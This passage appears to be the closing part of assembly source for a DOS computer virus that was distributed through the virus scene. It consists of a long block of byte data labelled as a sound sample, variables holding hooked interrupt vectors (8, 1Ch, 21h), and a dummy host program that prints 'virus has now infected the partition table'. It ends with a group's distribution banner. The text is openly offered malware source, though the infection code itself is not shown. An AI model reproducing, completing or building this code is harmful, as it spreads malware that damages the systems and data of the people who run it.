- db 080h,0dch,0e7h,001h,073h,09ch,007h,0ceh,070h,01fh,01ch,0c0h,03eh,073h,000h,0f1h
- db 0cch,001h,0cfh,038h,006h,03eh,0e0h,00ch,0ffh,098h,043h,0feh,061h,00fh,0f9h,084h
- db 077h,0f2h,010h,08fh,0cch,003h,03fh,091h,000h,07fh,002h,013h,0fch,0c8h,047h,0fbh
- db 030h,00ch,0e6h,00ch,00dh,0dch,020h,099h,0b8h,0cch,013h,0e3h,038h,08dh,08ch,0e1h
- db 099h,03bh,0d8h,099h,0bfh,0ech,0c4h,07fh,09ch,0c8h,0ceh,07eh,004h,02fh,0f9h,000h
- db 027h,0f7h,020h,01bh,0ffh,0c0h,00eh,0f7h,060h,011h,0ffh,0c0h,006h,0ffh,080h,001h
- db 0feh,0c4h,066h,0fch,0d0h,011h,0ddh,0c4h,067h,027h,033h,0fch,0cch,046h,066h,072h
- db 000h,0cfh,0eeh,0c0h,00fh,077h,030h,019h,09fh,0e0h,000h,0dfh,0d8h,011h,01ch,0cch
- db 0cch,046h,067h,073h,011h,099h,09ch,0cch,0e6h,062h,033h,03bh,011h,08dh,0feh,0c4h
- db 003h,07fh,0b9h,080h,08ch,0f6h,062h,000h,03dh,0dch,000h,007h,0fbh,010h,019h,0bfh
- db 0e2h,046h,007h,033h,0b1h,008h,06eh,063h,031h,09fh,0f0h,000h,067h,073h,011h,099h
- db 0cfh,033h,030h,030h,0d9h,098h,080h,03fh,0fch,000h,04fh,0efh,073h,030h,018h,07fh
- db 0fch,000h,019h,0feh,000h,037h,0ffh,080h,000h,037h,08eh,0f9h,000h,003h,0ffh,080h
- db 006h,0ffh,0f0h,000h,01eh,0f1h,0dbh,080h,000h,037h,0f0h,000h,027h,0f3h,040h,04eh
- db 0e7h,000h,04fh,0c6h,000h,0dfh,0ceh,080h,09dh,0cch,001h,09fh,0c4h,000h,09fh,0fch
- db 001h,09fh,080h,000h,0bfh,0c8h,080h,09dh,0cch,080h,0ceh,0e4h,040h,04eh,0ffh,022h
- db 027h,072h,010h,013h,0bbh,098h,00dh,0dch,084h,002h,077h,062h,001h,0bbh,0b0h,080h
- db 04eh,0ech,040h,01bh,0bbh,010h,006h,0eeh,042h,000h,09dh,0d8h,080h,013h,0bbh,000h
- db 002h,077h,062h,004h,06eh,0e4h,020h,00ch,0eeh,0c0h,000h,0cch,0ech,000h,00ch,0eeh
- db 0c0h,000h,06eh,0f4h,000h,006h,077h,040h,002h,033h,0feh,080h,018h,0dfh,0f0h,000h
- db 046h,07fh,0c0h,023h,01bh,0f6h,000h,00ch,0ffh,0d8h,010h,031h,07eh,070h,03ch,00fh
- db 0e0h,0f8h,01fh,081h,0f0h,03eh,007h,0c0h,0f0h,03eh,003h,003h,0f0h,038h,03fh,003h
- db 081h,0f0h,03ch,01fh,081h,0c1h,0f0h,01ch,00fh,081h,0e0h,0f8h,01eh,00fh,080h,0e0h
- db 07fh,07fh,0ffh,0ffh,0ffh,0ffh,0ffh,0feh,06ch,092h,0d9h,0a6h,0c6h,082h,0c8h,032h
- db 049h,000h,083h,07fh,0b0h,000h,016h,0ffh,0a0h,000h,05fh,0fdh,080h,042h,0bfh,0f0h
- db 082h,009h,02dh,010h,080h,099h,06bh,040h,006h,0cah,0a0h,000h,0bdh,0b4h,000h,050h
- db 0b4h,001h,0d1h,0a4h,081h,0d3h,046h,096h,0d6h,0a2h,049h,0dbh,040h,0b7h,0f4h,083h
- db 06dh,0e9h,026h,0f1h,0f2h,027h,0f3h,0a4h,0b7h,063h,060h,01fh,0c7h,0f1h,036h,0cfh
- db 0b0h,03eh,00dh,0b0h,07eh,00bh,0d0h,07bh,01bh,0c0h,07ch,01bh,064h,06ch,01fh,024h
- db 064h,00dh,036h,066h,04dh,093h,023h,06dh,01bh,003h,02dh,09dh,007h,085h,09dh,087h
- db 0c4h,08eh,087h,0c4h,0c6h,0c3h,0c4h,0c7h,043h,066h,043h,003h,0e6h,043h,081h,0b2h
- db 065h,081h,0b2h,061h,081h,0b3h,063h,081h,0d3h,033h,0c1h,0f1h,031h,091h,0b1h,033h
- db 0b1h,0f1h,033h,0a1h,0e1h,023h,021h,0e1h,023h,063h,063h,066h,066h,0e3h,066h,0e4h
- db 0c7h,04dh,0cdh,08fh,013h,05bh,09eh,066h,064h,0ech,0cch,0c9h,0ddh,099h,091h,0bbh
- db 017h,04fh,0d8h,02eh,00fh,032h,07eh,01eh,068h,0f8h,079h,091h,0f0h,0f7h,046h,0c5h
- db 0deh,09fh,09fh,0edh,07ch,02fh,0b3h,034h,05eh,04ch,099h,0b9h,0bbh,032h,0cah,0cch
- db 0dbh,009h,013h,00dh,034h,02eh,064h,0d8h,0b9h,0a1h,023h,064h,08ch,08dh,092h,032h
- db 03ch,0c8h,0c8h,0fah,037h,023h,0d0h,09ch,00eh,0c2h,0f0h,066h,04bh,0c1h,0d9h,01bh
- db 026h,064h,0cch,09bh,007h,033h,06ch,01ch,099h,0e0h,072h,065h,083h,089h,01dh,00eh
- db 024h,064h,078h,0b1h,091h,0e6h,0cch,08fh,012h,032h,038h,049h,090h,0f3h,066h,047h
- db 08dh,019h,01eh,034h,04ch,0d9h,0b3h,033h,0e6h,0cch,0c9h,019h,062h,06ch,06dh,099h
- db 0b1h,0b6h,066h,0c6h,0f8h,09bh,01dh,0c8h,0fch,033h,033h,0b1h,0ech,0cdh,0cdh,099h
- db 03ah,037h,064h,0e8h,0e7h,083h,0c1h,0cfh,007h,087h,0ddh,01fh,00fh,032h,03eh,01eh
- db 074h,07ch,07ch,0e0h,0f8h,0f9h,0c1h,0f9h,077h,043h,0e9h,0fbh,083h,0e0h,0e5h,087h
- db 082h,099h,00fh,016h,073h,023h,001h,0f1h,013h,002h,032h,006h,002h,0f2h,066h,0c0h
- db 0e2h,062h,046h,066h,00eh,00ch,0e6h,026h,040h,0e4h,07ch,000h,0e2h,06ch,001h,0c2h
- db 022h,062h,0e6h,00ch,040h,036h,01eh,002h,0e2h,036h,020h,0f2h,03ch,038h,0f3h,036h
- db 060h,0d3h,013h,042h,07bh,01bh,001h,0f9h,03fh,02ch,0f9h,01bh,0b0h,079h,091h,0b1h
- db 0f9h,01fh,083h,0f9h,09fh,003h,0fdh,09dh,09bh,0bch,0ddh,0dbh,0fch,0ddh,09bh,0fch
- db 0ech,069h,0fch,0dch,0fdh,09ch,0cch,0f9h,03eh,06ch,0bch,0bch,02eh,024h,0feh,066h
- db 034h,0deh,026h,036h,01eh,066h,066h,04eh,066h,02eh,04fh,017h,01fh,027h,033h,01fh
- db 00fh,09bh,01ah,04fh,099h,039h,027h,088h,0d8h,037h,098h,083h,007h,0cch,018h,012h
- db 04ch,01ch,006h,0a4h,036h,00eh,054h,01eh,01fh,01eh,00eh,007h,09eh,00eh,04eh,0ceh
- db 00fh,007h,087h,007h,087h,08fh,007h,003h,047h,007h,083h,0c3h,003h,083h,0e3h,081h
- db 081h,0c3h,0a3h,0e1h,0e3h,0c1h,0f1h,0f1h,0c0h,0e0h,0f9h,0c0h,0f0h,070h,0f0h,0f8h
- db 0f8h,0f0h,0f8h,07ch,0c0h,0d8h,018h,01ch,01ch,06ch,0fch,03fh,025h,0cch,04ch,00ch
- db 0ceh,06eh,03ch,0e2h,0e3h,0e3h,0e7h,0c7h,08ch,073h,032h,074h,0f0h,0f1h,0b2h,070h
- db 0f2h,078h,078h,078h,078h,078h,078h,038h,038h,03ch,03eh,01ch,03ch,01eh,01ch,01ch
- db 01eh,01fh,01eh,00fh,00eh,00eh,00fh,08fh,00fh,007h,087h,087h,043h,083h,0c3h,0c3h
- db 0c3h,0c3h,0c3h,0c3h,0c3h,0c1h,0e1h,0c3h,0e0h,0f0h,0e0h,0e0h,0f0h,0f0h,0e0h,0f0h
- db 070h,0f0h,0f8h,078h,070h,078h,070h,070h,03ch,03ch,038h,03ch,03ch,01ch,03ch,03ch
- db 01ch,01eh,01ch,09ch,01eh,01ch,01eh,01fh,01ch,00eh,01fh,01ch,00fh,01fh,01eh,00fh
- db 00fh,09fh,007h,00fh,0c7h,007h,00fh,087h,017h,087h,087h,087h,0c7h,093h,087h,0c3h
- db 0d3h,083h,0c3h,0d1h,0c3h,0e1h,0f9h,0c3h,0e1h,0e8h,0c7h,0e0h,0f8h,0e3h,0f8h,0f6h
- db 0e3h,0e8h,07eh,0e3h,0e8h,07eh,063h,0e4h,0f9h,0e3h,0e2h,0dbh,0e1h,0e1h,0c8h,0e0h
- db 070h,0cdh,0f0h,0f0h,0cch,0f1h,0f8h,0c1h,0f0h,0f0h,0f1h,038h,038h,073h,038h,03ch
- db 073h,038h,03ch,038h,01ch,01eh,03ah,01eh,01eh,03ch,08eh,01eh,01ch,08eh,00fh,01fh
- db 08eh,00fh,01fh,00eh,00fh,01eh,006h,007h,00eh,007h,04eh,049h,0e2h,036h,00dh,0e6h
- db 028h,0c1h,0f3h,006h,004h,0b3h,007h,001h,0a9h,00fh,083h,095h,007h,087h,0c7h,083h
- db 081h,0e7h,083h,093h,0b3h,083h,0c1h,0e1h,0c1h,0e1h,0e3h,0c1h,0c0h,0d1h,0c1h,0e0h
- db 0f0h,0c0h,0e0h,0f8h,0e0h,060h,070h,0e8h,0f8h,078h,0f0h,07ch,07ch,070h,038h,03eh
- db 070h,03ch,01ch,03ch,03eh,03eh,03ch,03eh,01fh,030h,036h,006h,007h,007h,01bh,03fh
- db 00fh,0c9h,073h,013h,003h,0b3h,09bh,08fh,038h,0bch,0f8h,0f9h,0f1h,0e3h,01ch,0cch
- db 09dh,03ch,03ch,06ch,09ch,03ch,09eh,01eh,01eh,01eh,01eh,01eh,00eh,00eh,00fh,00fh
- db 087h,00fh,007h,087h,007h,007h,087h,0c7h,083h,0c3h,083h,083h,0e3h,0c3h,0c1h,0e1h
- db 0f1h,0d1h,0e0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,078h,070h,0f8h,03ch,038h
- db 038h,03ch,03ch,038h,03ch,01ch,03ch,03eh,01eh,01ch,03eh,01ch,01ch,00fh,00fh,00eh
- db 00fh,00fh,007h,00fh,00fh,007h,007h,087h,027h,007h,087h,007h,087h,0c7h,003h,087h
- db 0c7h,003h,0c7h,0c7h,083h,0c3h,0e7h,0c1h,0c3h,0f1h,0c1h,0c3h,0e1h,0c5h,0e1h,0e1h
- db 0e1h,0f1h,0ech,0e1h,0f0h,0f4h,0e0h,0f0h,0f4h,070h,0f8h,07eh,070h,0f8h,07ah,031h
- db 0f8h,03eh,038h,0feh,03dh,0b8h,0fah,01fh,0b8h,0fah,01fh,098h,0f9h,03eh,078h,0f8h
- db 0b6h,0f8h,0f8h,072h,038h,01ch,033h,07ch,03ch,033h,03ch,07eh,038h,07ch,03eh,03ch
- db 04eh,00eh,01ch,0ceh,00fh,01ch,0ceh,00fh,00eh,007h,007h,08eh,087h,087h,08fh,063h
- db 087h,087h,023h,083h,0c7h,0e3h,083h,0c7h,0c3h,083h,0c7h,081h,081h,0c0h,0f9h,09bh
- db 093h,079h,08dh,083h,079h,08bh,030h,07ch,0c9h,0c3h,02ch,0c1h,0c0h,07ah,043h,0e0h
- db 0e5h,041h,0e1h,0f1h,0e0h,0e0h,0f9h,0e0h,0e4h,0ech,0e0h,0f0h,078h,070h,078h,078h
- db 0f0h,070h,034h,070h,078h,03ch,030h,038h,03eh ; ,038h
-
- SampleEnd equ this byte
-
- ;------------------------------------------------------------------------------
- ;
- ; Variables
- ;
- ;------------------------------------------------------------------------------
-
- Active db -1
- ActiveYear dw -1
- ActiveDate dw -1
-
- OldInt8 equ this dword ; orginal interrupt 8
- OldInt8o dw -1
- OldInt8s dw -1
- OldInt1C equ this dword ; orginal interrupt 1ch
- OldInt1Co dw -1
- OldInt1Cs dw -1
- OldInt21 equ this dword ; orginal interrupt 21h
- OldInt21o dw -1
- OldInt21s dw -1
-
- Count dw -1 ; timer count
- SampleOffset dw -1 ; Used to make sound
- SampleBit db -1
- SampleFlag db -1
- Handle dw 8 dup(-1) ; Filehandles
-
- cseg ends
-
- ;------------------------------------------------------------------------------
- ;
- ; Orginal EXE-file
- ;
- ;------------------------------------------------------------------------------
-
- mseg segment public 'code'
- assume cs:mseg, ds:mseg, es:mseg
-
-
- db 'MZ' ; header
- dw PrgSize ; PartPage
- dw 1 ; PageCount
- dw 0 ; relocation items = 0
- dw 0 ; headersize = 0h
- dw 80h ; minimum memory
- dw 0ffffh ; maximum memory
- dw (PrgSize+15)/10h ; ss
- dw 7feh ; sp
- dw 0 ; chksum
- dw offset Orginal ; ip
- dw 0 ; cs
- dw 1ch ; offset relocation table
- dw 0 ; overlay number
-
- Orginal: mov ah,9 ; display warning
- push cs
- pop ds
- mov dx,offset Warning
- int 21h
- mov ax,4c00h
- int 21h ; terminate
-
- Warning db 13,10
- db 'WARNING:',13,10
- db 13,10
- db 'Yeah virus has now infected the partition table !!!!!',13,10
- db 13,10
- db '$'
-
- mseg ends
-
- sseg segment stack 'stack'
- db 800h dup(?)
- sseg ends
-
- end Main
- ; ─────────────────────────────────────────────────────────────────────────
- ; ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
- ; ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
- ; ─────────────────────────────────────────────────────────────────────────
-